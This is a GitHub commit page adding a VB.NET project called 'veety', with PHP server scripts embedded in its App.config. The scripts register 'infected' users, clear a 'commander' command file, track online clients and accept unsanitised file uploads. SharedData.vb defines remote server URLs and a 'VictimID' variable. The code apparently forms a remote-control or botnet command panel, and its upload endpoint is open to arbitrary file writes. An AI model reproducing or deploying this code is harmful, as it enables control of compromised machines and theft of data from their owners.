-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
488 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,135 @@ | ||
<?xml version="1.0" encoding="utf-8" ?> | ||
<configuration> | ||
<configSections> | ||
<sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" > | ||
<section name="veety.My.MySettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" /> | ||
</sectionGroup> | ||
</configSections> | ||
<startup> | ||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" /> | ||
</startup> | ||
<userSettings> | ||
<veety.My.MySettings> | ||
<setting name="RM" serializeAs="String"> | ||
<value>False</value> | ||
</setting> | ||
<setting name="rLogin" serializeAs="String"> | ||
<value /> | ||
</setting> | ||
<setting name="rPassword" serializeAs="String"> | ||
<value /> | ||
</setting> | ||
<setting name="UplUsrDta" serializeAs="String"> | ||
<value><?php | ||
$name = $_GET['USERNAME']; | ||
move_uploaded_file($_FILES["file"]["tmp_name"], $name . $_FILES["file"]["name"]); | ||
?></value> | ||
</setting> | ||
<setting name="AddInfected" serializeAs="String"> | ||
<value><?php | ||
$name = $_GET['USERNAME']; | ||
|
||
if (file_exists($name) && is_dir($name)) { | ||
echo "failed"; | ||
} else { | ||
if (mkdir($name)) { | ||
echo "success"; | ||
} else { | ||
echo "Failed to create folder."; | ||
} | ||
} | ||
?> | ||
</value> | ||
</setting> | ||
<setting name="ClearCommader" serializeAs="String"> | ||
<value><?php | ||
$file = 'commander'; // nazwa pliku do wyczyszczenia | ||
|
||
// Otwieramy plik do zapisu, co spowoduje jego wyczyszczenie | ||
if (file_put_contents($file, '') !== false) { | ||
echo "success."; | ||
} else { | ||
echo "error."; | ||
} | ||
?></value> | ||
</setting> | ||
<setting name="AddOnline" serializeAs="String"> | ||
<value><?php | ||
// Sprawdź, czy parametr 'tekst' jest ustawiony w URL | ||
if (isset($_GET['UserID'])) { | ||
// Pobierz tekst z URL | ||
$UserID= $_GET['UserID']; | ||
|
||
// Otwórz plik 'online.yml' w trybie dopisywania | ||
$plik = fopen('online.html', 'a'); | ||
|
||
// Sprawdź, czy plik został poprawnie otwarty | ||
if ($plik) { | ||
// Dodaj nową linię na końcu pliku | ||
fwrite($plik, $UserID . PHP_EOL); | ||
|
||
// Zamknij plik | ||
fclose($plik); | ||
|
||
echo "success"; | ||
} else { | ||
echo "fail"; | ||
} | ||
} else { | ||
echo "Nie podano tekstu."; | ||
} | ||
?> | ||
</value> | ||
</setting> | ||
<setting name="RemOnline" serializeAs="String"> | ||
<value><?php | ||
// Sprawdź, czy parametr 'UserID' jest ustawiony w URL | ||
if (isset($_GET['UserID'])) { | ||
// Pobierz wartość parametru 'UserID' z URL | ||
$UserID = $_GET['UserID']; | ||
|
||
// Wczytaj zawartość pliku 'online.html' do tablicy | ||
$linie = file('online.html', FILE_IGNORE_NEW_LINES); | ||
|
||
// Sprawdź, czy plik został poprawnie wczytany | ||
if ($linie !== false) { | ||
// Znajdź linię z tekstem równym $UserID i usuń ją | ||
$nowe_linie = array_filter($linie, function($linia) use ($UserID) { | ||
return trim($linia) !== $UserID; | ||
}); | ||
|
||
// Sprawdź, czy nastąpiła zmiana (czy tekst został znaleziony i usunięty) | ||
if (count($nowe_linie) !== count($linie)) { | ||
// Zapisz zaktualizowaną zawartość z powrotem do pliku | ||
$plik = fopen('online.html', 'w'); | ||
|
||
// Sprawdź, czy plik został poprawnie otwarty | ||
if ($plik) { | ||
foreach ($nowe_linie as $nowa_linia) { | ||
fwrite($plik, $nowa_linia . PHP_EOL); | ||
} | ||
|
||
// Zamknij plik | ||
fclose($plik); | ||
|
||
echo "success"; | ||
} else { | ||
echo "fail"; | ||
} | ||
} else { | ||
echo "Nie znaleziono podanego tekstu."; | ||
} | ||
} else { | ||
echo "Nie udało się otworzyć pliku."; | ||
} | ||
} else { | ||
echo "Nie podano tekstu."; | ||
} | ||
?></value> | ||
</setting> | ||
<setting name="ONLINEINDEX" serializeAs="String"> | ||
<value /> | ||
</setting> | ||
</veety.My.MySettings> | ||
</userSettings> | ||
</configuration> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
Module SharedData | ||
'# Serwer | ||
Public veety_database As String = "https://edditdev.com/veety/database/" | ||
Public veety_servers As String = "https://edditdev.com/veety/servers/" | ||
Public veety_all_license As String = "https://edditdev.com/veety/license/licenses" | ||
Public veety_counters As String = "https://edditdev.com/veety/other/" | ||
|
||
'# Veety Inside data | ||
Public LicensesList As New RichTextBox | ||
'- Licznk | ||
Public RegistrationsCounter As String | ||
|
||
'# User | ||
Public veety_downloaded_licenses As String | ||
Public user_username As String | ||
Public user_password As String | ||
Public user_license As String | ||
|
||
Public connected_server As String | ||
Public VictimID As String | ||
|
||
|
||
End Module |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
Icon color: Unchecked: #6C6C95 | ||
Icon color: Checked: #2C2C92 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<packages> | ||
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net472" /> | ||
</packages> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
|
||
Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 17 | ||
VisualStudioVersion = 17.9.34622.214 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "veety", "veety\veety.vbproj", "{56DA627C-7C99-42B4-9F97-648EC564D891}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|Any CPU = Debug|Any CPU | ||
Release|Any CPU = Release|Any CPU | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{56DA627C-7C99-42B4-9F97-648EC564D891}.Debug|Any CPU.ActiveCfg = Debug|Any CPU | ||
{56DA627C-7C99-42B4-9F97-648EC564D891}.Debug|Any CPU.Build.0 = Debug|Any CPU | ||
{56DA627C-7C99-42B4-9F97-648EC564D891}.Release|Any CPU.ActiveCfg = Release|Any CPU | ||
{56DA627C-7C99-42B4-9F97-648EC564D891}.Release|Any CPU.Build.0 = Release|Any CPU | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {C5FCA1AB-D694-4255-82AA-29F541214942} | ||
EndGlobalSection | ||
EndGlobal |
Oops, something went wrong.